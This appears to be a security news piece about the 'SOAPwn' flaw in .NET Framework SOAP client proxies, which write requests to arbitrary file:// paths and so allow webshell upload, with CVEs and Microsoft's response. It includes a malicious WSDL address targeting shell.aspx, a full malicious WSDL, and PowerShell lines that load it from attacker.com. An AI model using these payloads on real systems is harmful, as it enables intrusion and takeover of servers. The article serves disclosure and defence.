SOAPwn vulnerability class in .NET Framework HTTP client proxies enable remote code execution

Security researchers are reporting a design flaw in the .NET Framework's HTTP client proxy implementation that enables attackers to achieve Remote Code Execution across multiple enterprise-grade applications. 

The vulnerability, is caused by an invalid cast issue within the System.Web.Services.Protocols.HttpWebClientProtocol class, allows attackers to manipulate SOAP client proxies into accessing the local filesystem instead of transmitting HTTP requests as intended. 

The vulnerability stems from a critical design flaw in the HttpWebClientProtocol.GetWebRequest method, which fails to properly cast WebRequest objects to HttpWebRequest. When applications use SoapHttpClientProtocol, DiscoveryClientProtocol, or HttpSimpleClientProtocol classes with attacker-controlled URLs, the framework incorrectly initializes FileWebRequest objects instead of HttpWebRequest objects when presented with file:// protocol schemes. This allows SOAP requests intended for HTTP transmission to be written directly to arbitrary filesystem locations. The issue is compounded by Microsoft's official documentation describing these classes as HTTP transport protocol handlers, creating a false sense of security that no developer would reasonably expect filesystem access from an "HTTP client proxy."

When combined with the framework's ServiceDescriptionImporter functionality, which automatically generates vulnerable proxy classes from attacker-controlled WSDL files this vector becomes very dangerous. 

Exploit examples:

Normal WSDL (Safe): Sends SOAP request over HTTP

<soap:address location="http://legitimate-server.com/service.asmx" />

Malicious WSDL (Exploited): Writes SOAP request to file 

<soap:address location="file:///C:/inetpub/wwwroot/shell.aspx" />

PowerShell One-Liner Test:

$p = New-WebServiceProxy -Uri "http://attacker.com/malicious.wsdl" $p.AnyMethod("payload") 
# Result: File written to C:\, NOT sent via HTTP

malicious.wsdl (host on attacker.com):

<?xml version="1.0"?> 
<definitions xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns="http://schemas.xmlsoap.org/wsdl/">
   <service name="Pwn">
        <port binding="tns:PwnSoap" name="PwnSoap">
               <soap:address location="file:///C:/Temp/hacked.txt"/>
          </port>   
    </service> 
</definitions>

victim.ps1 (runs on victim):

$proxy = New-WebServiceProxy -Uri "http://attacker.com/malicious.wsdl" $proxy.Test("PWNED") ```
 **Result:** ```
C:/Temp/hacked.txt created with SOAP XML containing "PWNED"

The research reports current vulnerabilities in several widely-deployed enterprise solutions. 

• CVE-2025-34392 (CVSS score 9.9) affects Barracuda Service Center RMM, enabling unauthenticated Remote Code Execution through ASPX webshell upload, which was patched in hotfix 2025.1.1.
• - CVE-2025-13659 impacts Ivanti Endpoint Manager (EPM), allowing authenticated attackers to achieve RCE through CSHTML webshell uploads, and has been patched.
• Umbraco 8 CMS (the final .NET Framework-based version),
• Microsoft PowerShell,
• Microsoft SQL Server Integration Services

 all of which remain susceptible to NTLM relaying and arbitrary file write attacks that can escalate to full system compromise.

Microsoft has repeatedly declined to address the vulnerability despite multiple disclosure attempts in 2024 and 2025, asserting that "users shouldn't consume untrusted input which can generate and run code" and characterizing it as an application-level issue rather than a framework defect. The company has instead added documentation warnings while refusing to patch affected Microsoft products including PowerShell and SSIS. 

Given the widespread use of ServiceDescriptionImporter for WSDL-based SOAP client generation across both vendor-supplied and in-house .NET Framework applications, security researchers warn that numerous additional vulnerable implementations likely exist in production environments.

 Organizations using .NET Framework applications that process WSDL files or expose SOAP service integration features should audit their implementations for this vulnerability class and implement strict input validation on all WSDL sources and service URLs.